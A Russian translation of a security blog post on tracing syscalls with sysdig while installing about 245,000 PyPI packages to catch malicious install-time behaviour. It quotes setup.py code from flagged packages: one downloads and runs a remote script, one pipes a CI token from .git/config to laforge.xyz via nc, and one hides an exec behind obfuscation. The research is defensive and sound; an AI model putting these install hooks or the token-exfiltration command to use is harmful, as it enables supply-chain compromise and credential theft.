python

Проверим тысячи пакетов PyPI на вредоносность

  • четверг, 3 декабря 2020 г. в 00:30:26
https://habr.com/ru/company/vdsina/blog/530870/
  • Блог компании VDSina.ru хостинг серверов
  • Информационная безопасность
  • Python
  • Программирование


Примерно год назад Python Software Foundation открыл Request for Information (RFI), чтобы обсудить, как можно обнаруживать загружаемые на PyPI вредоносные пакеты. Очевидно, что это реальная проблема, влияющая почти на любой менеджер пакетов: случаются захваты имён заброшенных разработчиками пакетов, эксплуатация опечаток в названиях популярных библиотек или похищение пакетов при помощи упаковки учётных данных.

Реальность такова, что менеджеры пакетов наподобие PyPI являются критически важной инфраструктурой, которой пользуется почти любая компания. Я мог бы многое написать по этой теме, но сейчас достаточно будет этого выпуска xkcd.



Эта область знаний мне интересна, поэтому я ответил своими мыслями о том, как мы можем подойти к решению проблемы. Весь пост стоит прочтения, но меня не оставляла в покое одна мысль: что происходит сразу же после установки пакета.

Такие действия, как установка сетевых соединений или исполнение команд во время процесса pip install всегда стоит воспринимать настороженно, поскольку они не дают разработчику почти никакой возможности изучить код до того, как случится что-то плохое.

Я хотел глубже исследовать этот вопрос, поэтому в посте расскажу о том, как установил и проанализировал каждый пакет PyPI в поисках вредоносной активности.

Как находить вредоносные библиотеки


Для выполнения произвольных команд во время установки авторы обычно добавляют код в файл setup.py своего пакета. Примеры можно увидеть в этом репозитории.

На высоком уровне для поиска потенциально вредоносных зависимостей мы можем выполнить два действия: просмотреть код на предмет наличия нехороших вещей (статический анализ) или рискнуть и просто установить их, чтобы посмотреть, что произойдёт (динамический анализ).

Хотя статический анализ очень интересен (благодаря grep я нашёл вредоносные пакеты даже в npm), в этом посте я рассмотрю динамический анализ. В конце концов, я считаю его более надёжным, ведь мы наблюдаем за тем, что происходит на самом деле, а не просто ищем неприятные вещи, которые могут произойти.

Так что же мы ищем?

Как выполняются важные действия


В общем случае, когда происходит что-то важное, то этот процесс выполняется ядром. Обычные программы (например, pip), желающие выполнять важные действия через ядро, используют syscalls. Открывание файлов, установка сетевых соединений, исполнение команд — всё это выполняется через системные вызовы!

Подробнее об этом можно узнать из комикса Джулии Эванс:

Это означает, что если мы сможем наблюдать за syscalls во время установки пакета Python, то сможем понять, происходит ли что-то подозрительное. Преимущество такого подхода заключается в том, что он не зависит от степени обфускации кода — мы видим именно то, что происходит на самом деле.

Важно отметить, что идею о наблюдении за syscalls придумал не я. Такие люди, как Адам Болдуин говорили об этом ещё с 2017 года. Кроме того, существует замечательная статья, опубликованная Технологическим институтом Джорджии, в которой, среди прочего, используется такой же подход. Честно говоря, в этом посте я просто буду пытаться воспроизвести их работу.

Итак, мы знаем, что хотим отслеживать syscalls, но как именно это делать?

Слежение за Syscalls при помощи Sysdig


Существует множество инструментов, предназначенных для наблюдения за syscalls. Для своего проекта я использовал sysdig, поскольку он обеспечивает и структурированный вывод, и удобные функции фильтрации.

Чтобы всё заработало, при запуске контейнера Docker, устанавливающего пакет, я также запускал процесс sysdig, отслеживающий события только из этого контейнера. Также я отфильтровал сетевые операции чтения/записи, идущие с/на pypi.org или files.pythonhosted.com, поскольку не хотел захламлять логи трафиком, относящимся к скачиванию пакетов.

Найдя способ перехватывания syscalls, я должен был решить ещё одну проблему: получить список всех пакетов PyPI.

Получаем пакеты Python


К счастью для нас, у PyPI есть API под названием «Simple API», который также можно воспринимать как «очень большую HTML-страницу со ссылкой на каждый пакет», потому что ею он и является. Это простая опрятная страница, написанная на очень качественном HTML.

Можно взять эту страницу и спарсить все ссылки при помощи pup, получив примерно 268 тысяч пакетов:

❯ curl https://pypi.org/simple/ | pup 'a text{}' > pypi_full.txt               

❯ wc -l pypi_full.txt 
  268038 pypi_full.txt

В этом эксперименте меня будет интересовать только самый последний релиз каждого пакета. Есть вероятность, что существуют вредоносные версии пакетов, погребённых в старых релизах, но счета за AWS сами себя не оплатят.

В результате я пришёл примерно к такому конвейеру обработки:


Если вкратце, мы отправляем имя каждого пакета набору инстансов EC2 (в будущем я бы хотел использовать что-то наподобие Fargate, но я не знаю Fargate, так что...), который получает метаданные о пакете из PyPI, а затем запускает sysdig, а также набор контейнеров для установки пакета через pip install, собирая при этом информацию о syscalls и сетевом трафике. Затем все данные передаются на S3, чтобы с ними разбирался я.

Вот как выглядит этот процесс:


Результаты


После завершения процесса у меня получился примерно терабайт данных, находящихся в S3 bucket и покрывающий примерно 245 тысяч пакетов. У некоторых пакетов не было опубликованных версий, у некоторых других имелись различные ошибки обработки, но в целом это выглядит как отличная выборка для работы.

Теперь интересная часть: куча grep анализ.

Я объединил метаданные и выходные данные, получив набор файлов JSON, которые выглядели примерно так:

{
    "metadata": {},
    "output": {
        "dns": [],         // Any DNS requests made
        "files": [],       // All file access operations
        "connections": [], // TCP connections established
        "commands": [],    // Any commands executed
    }
}

Затем я написал набор скриптов, чтобы начать собирать данные, пытаясь разобраться в том, что безобидно, а что вредоносно. Давайте изучим некоторые из результатов.

Сетевые запросы


Существует множество причин, по которым пакету может понадобиться создать сетевое подключение в процессе установки. Возможно, ему нужно скачать двоичные компоненты или другие ресурсы, это может быть некая аналитика или же он может пытаться извлечь данные или учётную информацию из системы.

В результате выяснилось, что 460 пакетов создают сетевые подключения к 109 уникальным хостам. Как и сказано в упомянутой выше статье, довольно многие из них вызваны тем, что пакеты имеют общую зависимость, создающую сетевое подключение. Можно отфильтровать их, сопоставив зависимости, но я этого ещё не делал.

Подробная разбивка DNS-запросов, наблюдаемых во время установки, находится здесь.

Исполнение команд


Как и в случае с сетевыми подключениями, у пакетов могут быть безвредные причины для выполнения системных команд при установке. Это может делаться для компилирования нативных двоичных файлов, настройки нужного окружения и так далее.

При изучении нашей выборки выяснилось, что во время установки исполняют команды 60 725 пакетов. И как и в случае с сетевыми подключениями, нужно помнить о том, что многие из них являются результатом зависимости от пакета, исполняющего команды.

Интересные пакеты


После изучения результатов большинство сетевых подключений и команд, как и ожидалось, выглядело безвредным. Но есть несколько случаев странного поведения, на которые я хотел указать, чтобы продемонстрировать полезность подобного вида анализа.

i-am-malicious


Пакет с именем i-am-malicious, похоже, является проверкой возможности концепции вредоносного пакета. Вот интересные подробности, дающие нам понимание того, что этот пакет стоит исследовать (если нам не было достаточно его названия):

{
  "dns": [{
          "name": "gist.githubusercontent.com",
          "addresses": [
            "199.232.64.133"
          ]
    }]
  ],
  "files": [
    ...
    {
      "filename": "/tmp/malicious.py",
      "flag": "O_RDONLY|O_CLOEXEC"
    },
    ...
    {
      "filename": "/tmp/malicious-was-here",
      "flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"
    },
    ...
  ],
  "commands": [
    "python /tmp/malicious.py"
  ]
}

Мы сразу же начинаем понимать, что здесь происходит. Видим подключение, выполняемое к gist.github.com, исполнение файла Python и создание файла с названием /tmp/malicious-was-here. Разумеется, это происходит именно в setup.py:

from urllib.request import urlopen

handler = urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py")
with open("/tmp/malicious.py", "wb") as fp:
    fp.write(handler.read())

import subprocess

subprocess.call(["python", "/tmp/malicious.py"])

Файл malicious.py просто добавляет в /tmp/malicious-was-here сообщение вида «я здесь был», намекая, что это действительно proof-of-concept.

maliciouspackage


Ещё один самозваный вредоносный пакет, изобретательно названный maliciouspackage, чуть более зловреден. Вот его вывод:

{
  "dns": [{
      "name": "laforge.xyz",
      "addresses": [
        "34.82.112.63"
      ]
  }],
  "files": [
    {
      "filename": "/app/.git/config",
      "flag": "O_RDONLY"
    },
  ],
  "commands": [
    "sh -c apt install -y socat",
    "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",
    "grep ci-token /app/.git/config",
    "nc laforge.xyz 5566"
  ]
}

Как и в первом случае, это даёт нам достаточное представление о происходящем. В данном примере пакет извлекает токен из файла .git/config и загружает его на laforge.xyz. Взглянув на setup.py, мы видим, что конкретно происходит:

...
import os
os.system('apt install -y socat')
os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')

easyIoCtl


Любопытен пакет easyIoCtl. Заявляется, что он предоставляет «абстракции от скучных операций ввода-вывода», но мы видим, что исполняются следующие команды:

[
  "sh -c touch /tmp/testing123",
  "touch /tmp/testing123"
]

Подозрительно, но не наносит вреда. Однако это идеальный пример, демонстрирующий мощь отслеживания syscalls. Вот соответствующий код в setup.py проекта:

class MyInstall():
    def run(self):
        control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc X3UK:.w\x0bL$Ijq<&\r6*?\'1>mSz_^C\to#hiJtG5xb8|;\n7T{uH]"r'
        control_flow_guard_mappers = [81, 71, 29, 78, 99, 83, 48, 78, 40, 90, 78, 40, 54, 40, 46, 40, 83, 6, 71, 22, 68, 83, 78, 95, 47, 80, 48, 34, 83, 71, 29, 34, 83, 6, 40, 83, 81, 2, 13, 69, 24, 50, 68, 11]
        control_flow_guard_init = ""
        for controL_flow_code in control_flow_guard_mappers:
            control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code]
        exec(control_flow_guard_init)

При таком уровне обфускации сложно понять, что происходит. Традиционный статический анализ мог бы отследить вызов exec, но на этом всё.

Чтобы увидеть, что происходит, мы можем заменить exec на print, получив следующее:

import os;os.system('touch /tmp/testing123')

Именно эту команду мы отследили, и это демонстрирует, что даже обфускация кода не влиять на результаты, потому что мы выполняем отслеживание на уровне системных вызовов.

Что происходит, когда мы находим вредоносный пакет?


Стоит вкратце рассказать о том, что мы можем сделать, когда найдём вредоносный пакет. Первым делом нужно уведомить волонтёров PyPI, чтобы они могли убрать пакет. Это можно сделать, написав на security@python.org.

После этого можно посмотреть, сколько раз был скачан этот пакет, с помощью публичного массива данных PyPI на BigQuery.

Вот пример запроса, позволяющий узнать, сколько раз maliciouspackage был загружен за последние 30 дней:

#standardSQL
SELECT COUNT(*) AS num_downloads
FROM `the-psf.pypi.file_downloads`
WHERE file.project = 'maliciouspackage'
  -- Only query the last 30 days of history
  AND DATE(timestamp)
    BETWEEN DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY)
    AND CURRENT_DATE()

Выполнение этого запроса показывает, что он был скачан более 400 раз:


Двигаемся дальше


Пока мы лишь взглянули на PyPI в целом. Изучая данные, я не смог найти пакетов, производящих значимо вредоносные действия и не имеющие при этом в названии слова «malicious». И это хорошо! Но всегда есть вероятность, что я что-то упустил, или это может произойти в будущем. Если вам любопытно поизучать данные, то их можно найти здесь.

В дальнейшем я напишу лямбда-функцию для получения последних изменений в пакетах при помощи RSS-фида PyPI. Каждый обновлённый пакет будет подвергаться такой же обработке и отправлять уведомление в случае обнаружения подозрительной активности.

Мне по-прежнему не нравится, что можно выполнять произвольные команды в системе пользователя просто при установке пакета через pip install. Я понимаю, что большинство случаев использования безвредно, но это открывает возможности угроз, которые необходимо учитывать. Надеюсь, что усилив мониторинг различных менеджеров пакетов, мы сможем обнаруживать признаки вредоносной активности до того, как они окажут серьёзное воздействие.

И такая ситуация не уникальна только для PyPI. Позже я надеюсь провести такой же анализ для RubyGems, npm и других менеджеров, как упомянутые выше исследователи. Весь код, использованный для проведения эксперимента можно найти здесь. Как всегда, если у вас есть какие-нибудь вопросы, задавайте их!



На правах рекламы


VDSina предлагает виртуальные серверы на Linux и Windows — выбирайте одну из предустановленных ОС, либо устанавливайте из своего образа.